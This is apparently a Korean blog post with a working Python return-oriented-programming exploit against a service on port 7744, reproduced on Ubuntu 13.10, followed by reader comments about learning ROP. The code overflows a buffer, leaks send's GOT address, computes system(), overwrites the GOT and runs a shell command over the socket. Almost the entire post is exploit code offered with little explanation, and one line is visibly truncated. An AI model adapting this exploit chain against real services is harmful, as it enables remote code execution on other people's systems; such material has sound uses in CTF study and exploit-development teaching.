ubuntu 13.10에서 재현



  1. from socket import *
  2. from struct import *
  3. import time
  4.  
  5. = socket(AF_INET,SOCK_STREAM)
  6. s.connect(('localhost', 7744))
  7.  
  8. leaveret = 0x8048a68
  9. recv_plt = 0x8048770
  10. send_plt = 0x8048790
  11. bss = 0x804b080
  12. fake_ebp = bss+0x50
  13. send_got = 0x804b070
  14. ppppr = 0x804906c
  15.  
  16. cmd = "id>&4\x00"
  17.  
  18. payload = "1;"+"\x00"*(0x66c + 4 - 2)
  19. payload += pack('<L', send_plt)
  20. payload += pack('<L', ppppr)
  21. payload += pack('<L', 4)
  22. payload += pack('<L', send_got)
  23. payload += pack('<L', 4)
  24. payload += pack('<L', 0)
  25.  
  26. payload += pack('<L', recv_plt)
  27. payload += pack('<L', ppppr)
  28. payload += pack('<L', 4)
  29. payload += pack('<L', send_got)
  30. payload += pack('<L', 4)
  31. payload += pack('<L', 0)
  32.  
  33. payload += pack('<L', recv_plt)
  34. payload += pack('<L', ppppr)
  35. payload += pack('<L', 4)
  36. payload += pack('<L', bss)
  37. payload += pack('<L', len(cmd))
  38. payload += pack('<L', 0)
  39.  
  40. payload += pack('<L', send_plt)
  41. payload += "AAAA"
  42. payload += pack('<L', bss)
  43.  
  44. time.sleep(0.5)
  45. print s.recv(1024)
  46. s.send("4\n")
  47. time.sleep(0.5)
  48. print s.recv(1024)
  49.  
  50. raw_input('go?')
  51.  
  52. s.send(";"*0x38 + pack('<L',len(payload)))
  53. time.sleep(1)
  54. print s.recv(1024)
  55. s.send(payload)
  56. time.sleep(1)
  57. #print s.recv(5)
  58.  
  59. #time.sleep(1)
  60. send_addr = unpack('<L',s.recv(4))[0]
  61. system_addr = send_addr - 0xf3940 + 0x41260
  62.  
  63. print "System: "+hex(system_addr)
  64.  
  65. s.send(pack('<L',system_addr))
  66. s.send(cmd)
  67.  
  68. time.sleep(0.1)
  69. print s.recv(1024)
  70.  
  71. s.close()


posted by tunz
  • hea 2013.11.28 23:35

    안녕하세요 저도 요근래 ROP공부를 하고 있는데 offset계산해서 add가젯 같은거 사용하는 개념까진 알겠는데 리모트 익스플로잇할때 recv send 같은걸 어떻게 사용해주는지 잘 모르겠더라구요.. 혹시 관련 좋은 문서 있을까요?

    • tunz 2013.11.29 01:58 신고

      음... 저도 딱히 문서 하나만 보고 공부한게 아니라서,
      GOT랑 plt가 정확히 뭔지만 아는 상태로, 간단한 CTF exploit 하나 분석하시면 딱 느낌이 오실거에요